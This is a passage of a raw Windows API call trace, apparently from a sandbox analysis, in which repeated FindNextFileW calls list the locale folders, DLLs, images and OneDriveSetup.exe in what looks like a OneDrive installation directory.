ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0144.757] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9b25ed0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea081050, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea081050, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iu-latn-ca", cAlternateFileName="IU-LAT~1")) returned 1 [0144.757] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea081050, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea24a0d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea24a0d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0144.757] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea24a0d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea45f410, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea45f410, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ka", cAlternateFileName="")) returned 1 [0144.757] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea45f410, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea6c0a10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea6c0a10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0144.757] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6c0a10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea8afbf0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea8afbf0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="km-kh", cAlternateFileName="")) returned 1 [0144.757] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea8afbf0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeaa9edd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeaa9edd0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kn", cAlternateFileName="")) returned 1 [0144.758] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab111f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeacda270, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeacda270, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0144.758] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeacda270, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeaeef5b0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeaeef5b0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kok", cAlternateFileName="")) returned 1 [0144.758] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaf619d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb19ce70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb19ce70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ku-arab", cAlternateFileName="")) returned 1 [0144.758] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb19ce70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb3fe470, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb3fe470, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ky", cAlternateFileName="")) returned 1 [0144.758] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb3fe470, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb5ed650, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb5ed650, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lb-lu", cAlternateFileName="")) returned 1 [0144.758] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe94740f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe94740f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe94740f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x1aca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoggingPlatform.dll", cAlternateFileName="LOGGIN~1.DLL")) returned 1 [0144.758] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb5ed650, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb84ec50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb84ec50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0144.758] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb84ec50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebab0250, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebab0250, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0144.759] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebab0250, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebc792d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebc792d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mi-nz", cAlternateFileName="")) returned 1 [0144.759] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebc792d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebe684b0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebe684b0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mk", cAlternateFileName="")) returned 1 [0144.759] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebe684b0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec057690, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec057690, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ml-in", cAlternateFileName="")) returned 1 [0144.759] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec057690, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec2b8c90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec2b8c90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mn", cAlternateFileName="")) returned 1 [0144.760] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2b8c90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec4a7e70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec4a7e70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mr", cAlternateFileName="")) returned 1 [0144.760] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec5403f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec755730, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec755730, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0144.760] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe950c670, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe950c670, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe950c670, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x827d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp110.dll", cAlternateFileName="")) returned 1 [0144.760] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe957ea90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe957ea90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe957ea90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xd29c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr110.dll", cAlternateFileName="")) returned 1 [0144.760] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec755730, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeca02ff0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeca02ff0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mt-mt", cAlternateFileName="")) returned 1 [0144.760] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeca02ff0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecc18330, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecc18330, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0144.761] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecc18330, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xece9fa90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xece9fa90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ne-np", cAlternateFileName="")) returned 1 [0144.761] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xece9fa90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed14d350, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed14d350, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0144.761] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed14d350, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed33c530, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed33c530, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nn-no", cAlternateFileName="")) returned 1 [0144.761] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed33c530, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed551870, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed551870, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nso-za", cAlternateFileName="")) returned 1 [0144.761] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf26feb50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26feb50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xbffe0770, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x6e22a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDriveSetup.exe", cAlternateFileName="ONEDRI~1.EXE")) returned 1 [0144.761] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed551870, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed7b2e70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed7b2e70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="or-in", cAlternateFileName="")) returned 1 [0144.761] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed7b2e70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed9ee310, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed9ee310, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pa", cAlternateFileName="")) returned 1 [0144.761] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed9ee310, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xedc4f910, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xedc4f910, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pa-arab", cAlternateFileName="")) returned 1 [0144.761] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xedc4f910, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeded7070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeded7070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pa-arab-pk", cAlternateFileName="PA-ARA~1")) returned 1 [0144.761] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeded7070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee138670, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee138670, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0144.762] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee138670, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee2b5430, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee2b5430, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prs-af", cAlternateFileName="")) returned 1 [0144.762] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee7c42f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xee9ff790, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xee9ff790, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0144.762] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee9ff790, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeec86ef0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeec86ef0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-pt", cAlternateFileName="")) returned 1 [0144.762] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeec86ef0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeeec2390, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeeec2390, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qut-latn", cAlternateFileName="")) returned 1 [0144.762] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeeec2390, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef195db0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef195db0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="quz-pe", cAlternateFileName="")) returned 1 [0144.762] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe9689430, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe9689430, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe96af590, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xb9ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RemoteAccess.dll", cAlternateFileName="REMOTE~1.DLL")) returned 1 [0144.762] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef195db0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef3f73b0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef3f73b0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0144.762] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef3f73b0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef60c6f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef60c6f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0144.762] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef60c6f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xef893e50, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xef893e50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rw", cAlternateFileName="")) returned 1 [0144.762] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe97219b0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe97219b0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe97219b0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x124b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScreenshotLogo.png", cAlternateFileName="SCREEN~1.PNG")) returned 1 [0144.762] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe98eaa30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe98eaa30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe9910b90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x6c00a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScreenshotOptIn.png", cAlternateFileName="SCREEN~2.PNG")) returned 1 [0144.762] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xef893e50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xefa83030, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xefa83030, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sd-arab", cAlternateFileName="")) returned 1 [0144.763] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xefa83030, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xefd0a790, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xefd0a790, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sd-arab-pk", cAlternateFileName="SD-ARA~1")) returned 1 [0144.763] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xefd0a790, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeffb8050, 